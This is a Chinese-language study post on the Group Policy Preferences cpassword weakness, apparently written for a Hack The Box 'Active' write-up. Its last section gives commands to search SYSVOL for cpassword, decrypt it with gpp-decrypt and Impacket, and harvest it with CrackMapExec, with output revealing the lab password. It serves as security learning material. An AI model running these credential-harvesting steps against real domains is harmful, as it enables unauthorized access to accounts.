Skip to content

曝險機密 - 透過『群組原則偏好設定』(Group Policy Preferences)竊取密碼

免責聲明
我只是個初學者,但寫筆記能讓我變強。
Please correct me if I'm wrong.

我是來考古的,因為早在2012年前,就有資安研究人員公開如何透過GPP(Group Policy Preferences)取得密碼了1,如果你英文閱讀沒有障礙,我強烈推薦你直接去讀這篇文章2,能少看我很多廢話。寫這篇筆記單純是為了練習,也是為了要寫HTB靶機-Active的Writeup,畢竟繁體中文的公開資源相較之下很少,雖然是舊調重彈,但如果能幫助其他"同路人",外加仍有許多企業沿用舊Windows Server,所以應該還是有點用吧?

如果你很急,請直接移至竊取密碼

什麼是『群組原則偏好設定(GPP)』?

iThome 專家的群組原則教戰守則:讓群組原則限制變得更有彈性3

Server 2008群組原則的喜好設定功能,讓原本死板的規定變得有彈性,還能提供預先掛載網路磁碟機等功能,使群組原則變得更好用。

這是微軟在Windows Server 2008推出的功能,讓系統管理者能夠輕鬆、有彈性的部署設定到所有AD下的設備。相較於已存在的Group Policy(群組原則,GP),GPP就像是而外擴充功能,讓管理者可以透過新增、異動GPO(Group Policy Object, 群組原則物件)調整更多設定細節,包含:環境變數、本機使用者和群組、排程工作、網路選項、印表機等,並派送至所有受AD管理的設備,或者等待設備週期性地連線認證狀態與同步最新的GP。

詳細資訊,請參考微軟官方文件 - Group Policy Preferences4

這個新功能真方便,但是什麼問題導致密碼竊取?

也許派送需要密碼的組態不是個好主意?

痾,不,這個功能超讚的,各種方面上。舉個例子,在微軟實現GPP之前,AD管理者若要設定所有AD下設備的本機管理員(RID 500)帳號,最常見的做法就是用GP派送Logon Scripts(登入指令檔),讓使用者登入後跑VB腳本更新帳號密碼,問題是該密碼往往寫死在腳本裡,外加只要是AD底下的使用者都可在DC的NETLOGON下取得該腳本(更多資訊,請詳見下方SYSVOL),所以這僅是權宜之計,並非一安全做法。因此,GPP能夠大量派送、更新GP以外的延伸設定是很有意義的功能,AD管理者藉此設定每台設備的本機管理員帳號,不但能減少作業時間,也能更佳有效的控管資產。

該問的是GPP是怎麼處理密碼的?

GPP設定檔裡的密碼

當AD管理者新增任何需要使用密碼的GPP組態時,會將密碼以AES-256加密後,才寫入GPP XML設定檔的cpassword參數中,所以既使取得設定檔也無法輕易解密取得密碼,因為沒有金鑰,對吧?理論上是這樣沒錯,但萬萬沒想到微軟卻在2012年的技術文件5公開加密金鑰,導致所有取得GPP設定檔的人都能夠輕易地還原裡面的密碼,外加所有Windows Server都採用一樣的金鑰,讓這一切更雪上加霜。 YeS! mIcRoSofT

真是成也微軟,敗也微軟。由於GPP的設計缺陷,微軟決定在隨後的更新KB29624866,不再支援所有需要密碼的GPP設定功能,但只僅僅更新系統是不夠的,因為原始XML設定檔並未隨著更新一並刪除,這必需要AD管理員自行移除才行。

有關SYSVOL

SYSVOL是Active Directory底下的共享資料夾,裡面包含:Logon Scripts、GP組態等資料,也就是每當AD管理者新增任何GPP組態後,系統都會在SYSVOL底下生成對應的<NAME>.xml設定檔。直得注意的是,所有AD底下的成員都有SYSVOL的讀取權限,這也是使設定檔裡的密碼曝險的原因之一。

  • Group Policy儲存位置:\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
  • Logon Scripts儲存位置:NETLOGON = \\<DOMAIN>\SYSVOL\<DOMAIN>\Scripts\

    Tip 列出所有可取得目錄
    PowerShell
    net share
    

有關GPP XML設定檔

以下是取至HTB靶機Active中的設定檔範例,Group.xml

active.htb/Policies/.../MACHINE/Preferences/Groups/Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
        <Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>
    </User>
</Groups>

從該設定檔的userName得知使用者為SVC_TGS,他的cpasswordedBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ,也就是AES加密後的密碼。除Group.xml之外,你也有可能在DataSources.xmlScheduledTasks.xmlServices.xmlPrinters.xmlDrives.xml等設定檔中找到cpassword

竊取密碼

網路上已經有很多竊密、解密工具,以下僅列出幾種作為範例。

搜尋所有cpassword

PowerShell
Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -File -Include *.xml -ErrorAction SilentlyContinue
findstr /S /I cpassword \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\*.xml

gpp-decrypt

可以用gpp-decrypt在本機解密:

┌──(kali㉿kali)-[~/…/CTF/htb/active/Replication]
└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

Impacket模組:Get-GPPPassword.py

Get-GPPPassword.py能自動搜尋SMB底下的.xml檔,也可以解密已有檔案,以下是本機解密範例:

# Get-GPPPassword.py [[domain/]username[:password]@]<targetName or address> or LOCAL 

┌──(kali㉿kali)-[~/…/CTF/htb/active/Replication]
└─$ Get-GPPPassword.py -xmlfile active.htb/Policies/\{31B2F340-016D-11D2-945F-00C04FB984F9\}/MACHINE/Preferences/Groups/Groups.xml LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] NewName     : 
[*] Changed     : 2018-07-18 20:46:06
[*] Username    : active.htb\SVC_TGS
[*] Password    : GPPstillStandingStrong2k18
[*] File        : active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml 

CrackMapExec

既然都有Impacket了,那為什麼不用CrackMapExec? 以下只是使用範例:

┌──(kali㉿kali)-[~/…/CTF/htb/active/Users]
└─$ crackmapexec smb 10.129.132.38 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -M gpp_password
SMB         10.129.132.38   445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.129.132.38   445    DC               [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18 
GPP_PASS... 10.129.132.38   445    DC               [+] Found SYSVOL share
GPP_PASS... 10.129.132.38   445    DC               [*] Searching for potential XML files containing passwords
GPP_PASS... 10.129.132.38   445    DC               [*] Found active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
GPP_PASS... 10.129.132.38   445    DC               [+] Found credentials in active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
GPP_PASS... 10.129.132.38   445    DC               Password: GPPstillStandingStrong2k18
GPP_PASS... 10.129.132.38   445    DC               action: U
GPP_PASS... 10.129.132.38   445    DC               newName: 
GPP_PASS... 10.129.132.38   445    DC               fullName: 
GPP_PASS... 10.129.132.38   445    DC               description: 
GPP_PASS... 10.129.132.38   445    DC               changeLogon: 0
GPP_PASS... 10.129.132.38   445    DC               noChange: 1
GPP_PASS... 10.129.132.38   445    DC               neverExpires: 1
GPP_PASS... 10.129.132.38   445    DC               acctDisabled: 0
GPP_PASS... 10.129.132.38   445    DC               userName: active.htb\SVC_TGS

Last update: 2023-05-24 Created: 2023-05-24